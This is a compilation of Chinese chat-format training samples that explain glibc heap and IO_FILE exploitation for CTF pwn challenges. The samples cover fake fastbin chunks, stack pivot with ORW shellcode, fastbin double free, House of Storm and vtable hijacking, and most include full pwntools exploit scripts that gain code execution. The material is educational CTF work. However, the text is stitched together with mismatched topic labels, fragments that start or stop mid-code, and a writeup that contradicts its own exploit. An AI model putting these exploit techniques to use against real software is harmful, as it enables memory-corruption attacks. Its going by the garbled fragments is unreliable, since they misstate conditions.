这个方法一般配合 chunk extend 共同使用构造出 overlap。

如下图所示，在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。

 要想构造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即

+ fake chunk 的 `ISMMAP` 位不能为 1，因为 free 时，如果是 mmap 的 chunk，会单独处理。

```c
if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
    /* see if the dynamic brk/mmap threshold needs adjusting */
    if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX) {
        mp_.mmap_threshold = chunksize(p);
        mp_.trim_threshold = 2 * mp_.mmap_threshold;
        LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
                    mp_.mmap_threshold, mp_.trim_threshold);
    }
    munmap_chunk(p);
    return;
}
ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
```

+ fake chunk 地址需要对齐 `MALLOC_ALIGN_MASK` 。

```c
#define MINSIZE \
    (unsigned long) (((MIN_CHUNK_SIZE + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define aligned_OK(m) (((unsigned long) (m) &MALLOC_ALIGN_MASK) == 0)

    /* We know that each chunk is at least MINSIZE bytes in size or a
       multiple of MALLOC_ALIGNMENT. */

if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size))) {
    errstr = "free(): invalid size";
    goto errout;
}
```

+ fake chunk 的 size 大小需要满足对应的 fastbin 的需求。

```c
#define get_max_fast() global_max_fast

    if ((unsigned long) (size) <= (unsigned long) (get_max_fast())
```

+ fake chunk 的 **next chunk** 的大小不能小于 `2 * SIZE_SZ`，同时也不能大于`av->system_mem` 。

```c
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) ||
    __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
    /* We might not have a lock at this point and concurrent modifications
    of system_mem might have let to a false positive. Redo the test
    after getting the lock. */
if (have_lock || ({
    assert(locked == 0);
    mutex_lock(&av->mutex);
    locked = 1;
    chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
})) {
    errstr = "free(): invalid next size (fast)";
    goto errout;
}
if (!have_lock) {
    (void) mutex_unlock(&av->mutex);
    locked = 0;
    }
}
```

+ fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。

```c
if (__builtin_expect(old == p, 0)) {
    errstr = "double free or corruption (fasttop)";
    goto errout;
}
```

pwndbg 的 try_free 命令可以检查是否能成功 free 。

> 例题：lctf2016_pwn200

```plain
try_free
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/house of io/patch.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/house of io/patch.sh`

分类：heap

语言：bash

利用主题关键词：
- heap/tcache

训练用代码片段：
```bash
#!/bin/bash

VERSION=2.27
LIBC_NAME=libc.so.6
LD_NAME=ld-linux-x86-64.so.2

gcc pwn.c -o pwn -g
cp /glibc/${VERSION}/amd64/lib/${LIBC_NAME} .
cp /glibc/${VERSION}/amd64/lib/${LD_NAME} .

chmod 777 ${LIBC_NAME}
chmod 777 ${LD_NAME}

patchelf --replace-needed libc.so.6 ./${LIBC_NAME} ./pwn
patchelf --set-interpreter ./${LD_NAME} ./pwn
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「栈迁移orw」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 栈迁移orw

> 2024hgame ezstack

+ exp

```python
from pwn import *

elf = ELF("./vuln")
p = process([elf.path])
libc = ELF('./libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')

sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
ia = lambda: io.interactive()
uu32 = lambda : u32(p.recvuntil(b'\xff')[-4:].ljust(4,b'\x00'))
uu64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu64_h= lambda : u64(p.recvuntil(('\x55','\x56'))[-6:].ljust(8,'\x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval(s)))

pop_rbp=0x000000000040135d #: pop rbp ; ret
pop_rdi=0x0000000000401713 #: pop rdi ; ret
pop_rsi_r15=0x0000000000401711 #: pop rsi ; pop r15 ; ret
leave_ret=0x00000000004013cb #: leave ; ret

read=0x4013D5
print_libc=0x401376
bss=elf.bss(0x300)
lg('bss')
write_got=elf.got['write']
pay=b'\x00'*0x50+p64(bss+0x50)+p64(read)
sa(b'luck.\n',pay)
pay=p64(pop_rsi_r15)+p64(write_got)*2+p64(0x401194)+p64(pop_rbp)+p64(bss+0x200)+p64(read)
pay=pay.ljust(0x50,b'\x00')+p64(bss-0x8)+p64(leave_ret)
sa(b'luck.\n',pay)
libc.address=uu64()-libc.sym['write']
lg('libc.address')
pop_rdx_r12=0x0000000000119431 +libc.address#: pop rdx ; pop r12 ; ret
mprotect=libc.sym['mprotect']
pop_rsi=0x000000000002601f+libc.address #: pop rsi ; ret
data_addr=0x404000
read_plt=0x401204
pay=p64(pop_rsi)+p64(bss+0x300)+p64(pop_rdx_r12)+p64(0x200)*2+p64(read_plt)+p64(pop_rbp)+p64(bss+0x300-0x8)+p64(leave_ret)
pay=pay.ljust(0x50,b'\x00')+p64(bss+0x1b0-0x8)+p64(leave_ret)
sa(b'luck.',pay)
shellcode = asm('''
    mov r15,rdi
    mov rax, 0x67616c662f
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov rdi,r15
    mov rsi,rsp
    push 1
    pop rax
    syscall
    ''')


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Chunk Extend and Overlapping」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Chunk Extend and Overlapping

chunk extend是堆漏洞的一种常见利用手法，通过 extend 可以实现 chunk overlapping 的效果。

Heap Overlapping：这里的堆块重叠指的是指让一个堆块能控制另一个堆块的头部，而不是只能控制内存区域，这个条件比普通的 UAF 要强很多。

- 程序中存在基于堆的漏洞。
- 漏洞可以控制chunk header中的数据。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「例题」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### 例题

> wustctf2020_easyfast

2.23版本的堆。

<img src="./assets/1773505678413-f583f30b-9c42-47c3-8daa-02bc105271bc.png" style="zoom:50%;" />

`sub_4009D7`存在 UAF 漏洞。

[图片: 1773505690566-737d0a79-732a-43c8-be79-eee636483a22]

`sub_400896`有后门函数，但是必须`qword_602090`全局变量为 0 才会执行。

[图片: image]

变量默认为 1

[图片: image]

程序存在 edit 功能。

[图片: image]

我们可以通过 UAF 漏洞进行 fastbin double free，将变量地址给申请出来。然后通过 edit 功能修改变量内容。

+ exp

```python
#!/bin/python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf=ELF("./wustctf2020_easyfast.wustctf2020_easyfast")
io=process("./wustctf2020_easyfast.wustctf2020_easyfast")
#io=remote("node5.buuoj.cn",25822)
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(size):
    sla('choice>', '1')
    sla('size>', str(size))

def dele(idx):
    sla('choice>', '2')
    sla('index>', str(idx))

def edit(idx,con):
    sla('choice>', '3')
    sla('index>', str(idx))
    sl(con)

ptr=0x602080

add(0x40)
add(0x40)

dele(0) #进入fastbin
edit(0,p64(ptr))

add(0x40)
#把ptr的地址申请出来
add(0x40)

edit(3,p64(0))
dbg()
sla('choice>', '4')

ia()
```

> 堆溢出导致的fastbin attack

> HGAME 2023 new_fast_note

2.31版本的堆题，但是没有编辑功能。

[图片: image]

delete 功能函数存在 UAF 漏洞。

[图片: image]

由于`free`函数部分存在 UAF 漏洞，我们通过此进行 double free 来修改 malloc

但是程序不存在编辑函数

填满tcahe，然后再申请一个chunk释放后进行 unsorted bin 泄露libc地址并计算hook地址。

填充tcache chunk大小小于0x90，再申请相同大小的chunk，double free之后进入 fastbin

申请 tcahe 和 fastbin 前两个 chunk 为 free_hook，再申请 fastbin 中最后一个chunk，此时该chunk在free hook地址，将其内容设置为 onegadget 即可完成任意地址写。

申请堆内容为`/bin/sh`，再free掉执行onegadget

```plain

```

+ exp

> wustctf2020_easyfast

+ 分析

`add`函数

只能申请 4 次chunk，size 不能大于 0x78。

[图片: image]

`dele`函数

释放后没有置零所以存在 UAF 漏洞。

[图片: image]

`edit`函数

编辑chunk，最多可以输入8个字节。

[图片: image]

`backdoor`函数

存在后门函数，如果全局变量为0就执行后门函数，全局变量默认为1。

[图片: image]

+ exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('wustctf2020_easyfast')
libc = ELF('./libc-2.23.so')
io = process(['./ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})
#io=remote('node5.buuoj.cn',26334)
context(os=elf.os, arch=elf.arch, log_level='debug')

def add(size):
    sla('choice>', '1')
    sla('size>', str(size))

def dele(idx):
    sla('choice>', '2')
    sla('index>', str(idx))

def edit(idx,con):
    sla('choice>', '3')
    sla('index>', str(idx))
    sl(con)

backdoor=0x602090-0x10
#这里减去0x10是因为我们需要编辑0x602090的内容，即80处是chunk头部，90处是data区域

#chunk0
add(0x40)

#chunk1
add(0x40)

#释放进fastbin
dele(0)
#dbg()

#由于uaf漏洞的存在我们仍然可以编辑释放后的chunk
#通过uaf漏洞将fastbin的fd指针修改为backdoor的地址
edit(0,p64(backdoor))

#将chunk0申请出来，这时候fastbin指向backdoor的地址
add(0x40)

#再申请一次就可以将backdoor申请出来
add(0x40)

edit(3,p64(0))#编辑backdoor的内存
sla('choice>', '4')

ia()
```

> roarctf_2019_easyheap

+ 分析

[图片: image]

`add`函数，free 函数存在 uaf 漏洞，需要指定全局变量为指定值才可以使用 show 函数。

[图片: image]

我们可以通过fastbin double free 将全局变量写为指定值，然后通过show函数泄露地址，再通过fastbin double free将malloc hook 申请出来，然后进行getshell。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「define __rtld_lock_lock_recursive(NAME) \」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# define __rtld_lock_lock_recursive(NAME) \
  __libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)
 替换:
(({
    __typeof(__pthread_mutex_lock) *_fn = (__pthread_mutex_lock);
    _fn != ((void *) 0) ? (*_fn)(&(_dl_load_lock).mutex) : 0;
}))
```

可以看到，如果 `rtld_active` 返回 true（具体看调试，因为可能存在`GLRO(dl_init_all_dirs)`不可写且为 NULL 的情况）则

会调用 `_dl_addr`，最终执行 `__rtld_lock_lock_recursive (GL(dl_load_lock))` ，这个宏就是 exit hook 对应的宏，因此可以像 exit hook 那样修改函数指针就可以劫持程序流。

同样的，glibc-2.34 起该方法失效。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 根据 `IO-FILE/house of storm/2026ccb catchme` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。

[Assistant]
## 题目路径
`IO-FILE/house of storm/2026ccb catchme`

## Writeup 蒸馏
## break

### 题目分析

#### 限制条件
- **Edit次数**：仅3次，每次最多写0x18字节。
- **Add类型**：
  - `fox`: `malloc(0x430)` → chunk size = `0x441`（含标志位）
  - `hawk`: `malloc(0x440)` → chunk size = `0x451`
  - `otter`: `calloc(0x48)` → chunk size = `0x51`（且calloc会跳过tcache，直接走smallbin）
- **Show**：仅一次，泄露 `chunk->tag`（即 `chunk + 0x8` 处的内容）。
- **Delete**：存在UAF（只free，不置零指针）。
- **Purge**：只置零指针，不free。
- 最多同时持有5个堆块指针。

#### 为什么是House of Storm
- 没有足够空间（0x18）去伪造完整的`FILE`结构体或`_IO_`相关利用。
- `calloc`绕过tcache，且chunk size固定（0x440、0x430、0x48），无法通过fastbin直接改`__malloc_hook`（2.34+已移除hook）。
- 只能通过一次show泄露一个地址，但无法直接泄露libc基址（只能泄露堆地址的低12位和高8位，不足以完整泄露）。
- **最终目标**：通过House of Storm在`__free_hook`附近伪造一个chunk，然后从unsorted bin中申请出来，获得任意地址写，进而劫持控制流。

---

### House of Storm 原理

#### 核心机制
House of Storm利用的是**large bin插入时**对`bk_nextsize`和`fd_nextsize`的赋值操作，配合**unsorted bin取出时**对`bk`指针的写操作，实现**向任意目标地址写入堆地址**，并在目标地址处构造一个合法的chunk头，随后从unsorted bin中申请出来。

#### 关键源码片段
- **unsorted bin取出时**：
  ```c
  unsorted_chunks(av)->bk = bck;
  bck->fd = unsorted_chunks(av);
  ```
  若我们控制 `victim->bk = fake_chunk`，则执行 `fake_chunk->fd = unsorted_bin`。

- **large bin插入时**（当unsorted chunk的size大于large bin中某个chunk时）：
  ```c
  victim->bk_nextsize = fwd->bk_nextsize;
  fwd->bk_nextsize = victim;
  victim->bk_nextsize->fd_nextsize = victim;
  bck = fwd->bk;
  ```
  若控制 `fwd->bk_nextsize = fake_chunk - 0x18 - 5`，则能触发 `(fake_chunk - 0x18 - 5)->fd_nextsize = victim`，即向 `fake_chunk - 0x8` 处写入victim地址（堆地址）。
  同时 `bck = fwd->bk` 由我们控制，最终执行 `bck->fd = victim`，即向 `fake_chunk + 0x8` 处写入victim地址。

#### 布局要求
- 需要一个**unsorted bin chunk**（U）和一个**large bin chunk**（L）。
- 需要控制：
  - `U->bk` → 指向 `fake_chunk`
  - `L->bk` → `fake_chunk + 0x8`
  - `L->bk_nextsize` → `fake_chunk - 0x18 - 5`

这样执行后：
- `fake_chunk + 0x8` 处写入 `U` 的地址（作为 `fd`）
- `fake_chunk - 0x8` 处写入 `U` 的地址（作为 `size` 或 `prev_size` 的一部分）
- 最终在 `fake_chunk` 处形成一个合法的chunk头部（size由U的地址低字节决定，需可控）。

---

### 解题思路

#### 1. 布局堆块
- 申请**3个fox**（0x430），**1个hawk**（0x440），**若干otter**（0x48）用于填充tcache/smallbin。
- 释放两个fox，让它们进入unsorted bin（合并或独立），再释放hawk进入unsorted bin。
- 利用UAF修改chunk的`bk`或`bk_nextsize`。

#### 2. 泄露地址
- 利用唯一一次show，泄露某个chunk的`tag`（即 `chunk + 0x8`），其中包含堆地址的低12位和高8位。
- 由于`malloc`返回地址的低12位固定（对齐），可结合已知偏移推算出**堆基址**。
- 但由于没有libc泄露，需要通过后续操作**暴力爆破**或利用`__free_hook`附近的已知偏移（如`__free_hook`相对`libc`的偏移已知，只需爆破低12位）。

#### 3. 伪造House of Storm
- 目标：在 `__free_hook - 0x18` 处伪造fake_chunk。
- 利用3次edit：
  - **edit(0)**：修改unsorted chunk的`bk`为 `fake_chunk`
  - **edit(1)**：修改large chunk的`bk`为 `fake_chunk + 0x8`
  - **edit(2)**：修改large chunk的`bk_nextsize`为 `fake_chunk - 0x18 - 5`

#### 4. 触发Storm
- 申请一个**大于unsorted chunk size**的chunk（如0x450），触发unsorted bin遍历，将unsorted chunk放入large bin。
- 此时执行large bin插入逻辑，向`fake_chunk`附近写入堆地址，伪造好chunk头。
- 随后再申请一个大小匹配fake_chunk的chunk（通常为0x430或0x440），即可从unsorted bin中申请到`fake_chunk`。

#### 5. 任意地址写与劫持
- 申请到`fake_chunk`后，其用户区起始于 `__free_hook - 0x10`（因为chunk头在 `__free_hook - 0x18`）。
- 用edit（还剩一次，或者直接用申请的chunk写入）将 `__free_hook` 改为 `system` 或 `one_gadget`。
- 释放一个包含 `/bin/sh` 的chunk，触发 `system("/bin/sh")`。

- exp

```python
from pwn import *
io = process('./catchme')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw',  '-p', '100']
libc = ELF('libc-2.27.so')
rt = lambda x: io.recvuntil(x)
s  = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
def cmd(choice):
    rt(">>")
    sl(str(choice))

def add(index):
    cmd(1)
    rt("(3)otter")
    s(str(index))

def delete(index):
    cmd(2)
    rt("index:")
    s(str(index))

def show(index):
    cmd(3)
    rt("index:")
    s(str(index))

def edit(index,content):
    cmd(4)
    rt("index:")
    s(str(index))
    rt("set tag:")
    s(content)

def clear(index):
    cmd(6)
    rt("index:")
    sl(str(index))

#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了
def pwn1():
    global lib
    add(1)
    add(1)
    delete(0)
    show(0)
    rt("tag:")
    lib = u64(io.recv(6).ljust(8, b'\x00'))-0x3ebca0
    pr(lib)
    delete(1)
    clear(0)
    clear(1)
def pwn2():
    for i in range(7):
        add(3)
        delete(0)
        clear(0)

## Exploit 关键代码
### IO-FILE/house of storm/2026ccb catchme/exp.py
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
rt = lambda x: io.recvuntil(x)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./catchme')
io = process([elf.path])
libc = ELF("libc-2.27.so")
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def cmd(choice):
    rt(">>")
    sl(str(choice))

def add(index):
    cmd(1)
    rt("(3)otter")
    s(str(index))

def delete(index):
    cmd(2)
    rt("index:")
    s(str(index))

def show(index):
    cmd(3)
    rt("index:")
    s(str(index))

def edit(index,content):
    cmd(4)
    rt("index:")
    s(str(index))
    rt("set tag:")
    s(content)

def clear(index):
    cmd(6)
    rt("index:")
    sl(str(index))

#我们一开始布局出现了失误，对于堆块合并忘了，后来又记起来了
def pwn1():
    global lib
    add(1)
    add(1)
    delete(0)
    show(0)
    rt("tag:")
    lib = u64(io.recv(6).ljust(8, b'\x00'))-0x3ebca0
    pr(lib)
    delete(1)
    clear(0)
    clear(1)
def pwn2():
    for i in range(7):
        add(3)
        delete(0)
        clear(0)

def pwn3():
    add(2)#0
    add(3)#1
    add(1)#2
    add(3)#3
    delete(2)
    delete(0)
    clear(0)
    #放入largebin
    add(2)#0
    #unsortedbin归位
    delete(0)
    fake_chunk = lib + libc.sym["__free_hook"] - 0x18
    edit(0,p64(fake_chunk))
    edit(2, p64(fake_chunk + 8) + p64(0) + p64(fake_chunk - 0x18 - 5))
    add(3)
    ogg = lib + 0x4F302
    edit(4, p64(ogg))
    gdb.attach(io)
    delete(4)
if __name__ == "__main__":
    pwn1()
    pwn2()
    pwn3()
    io.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「define _IO_vtable_offset(THIS) 0」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# define _IO_vtable_offset(THIS) 0
```

在 vtable 难以被利用之后，利用的关注点从 vtable 转移到`_IO_FILE`结构内部的域中。前面介绍过`_IO_FILE`在使用标准 IO 库时会进行创建并负责维护一些相关信息，其中有一些域是表示调用诸如`fwrite`、`fread`等函数时写入地址或读取地址的，如果可以控制这些数据就可以实现任意地址写或任意地址读。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「vtable结构」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### vtable结构
事实上`_IO_FILE`结构外包裹着另一种结构`_IO_FILE_plus`，其中包含了一个重要的指针 vtable 指向了一系列函数指针。

在 libc2.23 版本下，32 位的 vtable 偏移为 0x94，64 位偏移为 0xd8

```c
struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
```

64位下偏移是 0xd8。

[图片: image-20251212224509659.png]

vtable结构

vtable 是 IO_jump_t 类型的指针，IO_jump_t 中保存了一些函数指针，在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针

```c
void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};
```

查看vtable的结构，以 `__GI_` 为前缀的符号通常是 glibc 内部用于**绑定到实际实现函数**的别名，其真正的函数名是去掉`__GI_`的


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「[CISCN 2022 华东北]duck」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### [CISCN 2022 华东北]duck
反编译：

[图片: image-20251214231259824.png]

`sub_15447`函数的作用是初始化缓冲区，并设定程序在多少时间后退出。

[图片: image-20251214231358946.png]

`sub_147a`：

重命名函数为`edit`，修改指定 chunk 的内容。

[图片: image-20251214232214033.png]

`sub_13f3`：

重命名函数为`show`函数，查看指定 chunk 的内容。

[图片: image-20251214232116578.png]

`sub_12d6`：

重命名函数为`add`，分配一个 0x100 大小的 chunk，然后添加到heap_list

[图片: image-20251214232019483.png]

`sub_136c`：

将函数重命名为`dele`，很明显这里存在一个 UAF 漏洞，不过限制 chunk 数量小于 20，并且 chunk 必须存在。

[图片: image-20251214232304746.png]

题目的 libc 版本是 2.34

[图片: image-20251214232431111.png]

这个版本对于 tcache和fastbin的攻击添加了 safe-linking 机制，而且 2.34 已经移除了 malloc/free hook。

但是在针对新的保护机制人们也研究出了新的利用方法，比如通过泄露堆地址绕过 safe-linking，通过 IO-FILE 进行 getshell。

我们劫持的对象是 `FILE` 结构体中的 `vtable` 指针所指向的 `_IO_jump_t` 的实例，将里面的函数地址替换成我们准备好的 one_gadget。

选择一个 IO 函数，比如 `puts`，在 Glibc 源文件中找到其对应的定义，`vtable` 指针指向的是该结构体的实例。`stdout` 中的 `vtable` 指针指向的就是 `_IO_file_jumps`。

+ exp

```plain
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('pwn')
io = process([elf.path])
libc = ELF('./libc.so.6')
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

menu = 'Choice: '

def add():
    io.sendlineafter(menu, '1')

def show(index):
    io.sendlineafter(menu, '3')
    io.sendlineafter('Idx:', str(index))

def dele(index):
    io.sendlineafter(menu, '2')
    io.sendlineafter('Idx:', str(index))

def edit(index, size, content):
    sa(menu,b'4')
    sa(b'Idx: ',index)
    sa(b'Size: ',size)
    sa(b'Content: ',content)


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「House of Orange」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## House of Orange

核心特点

1. 漏洞必须在堆上，但题目中 **没有 free 函数或其他释放堆块的函数**。
2. 一般利用堆漏洞需要 malloc 和 free 操作，而 House of Orange 的核心是通过漏洞实现 **free 的效果**。
3. 当 top chunk 的尺寸不足以满足分配需求时，原来的 top chunk 会被释放并置入 unsorted bin，从而在没有 free 函数的情况下获取 unsorted bins。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「FILE 数据结构」。
资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

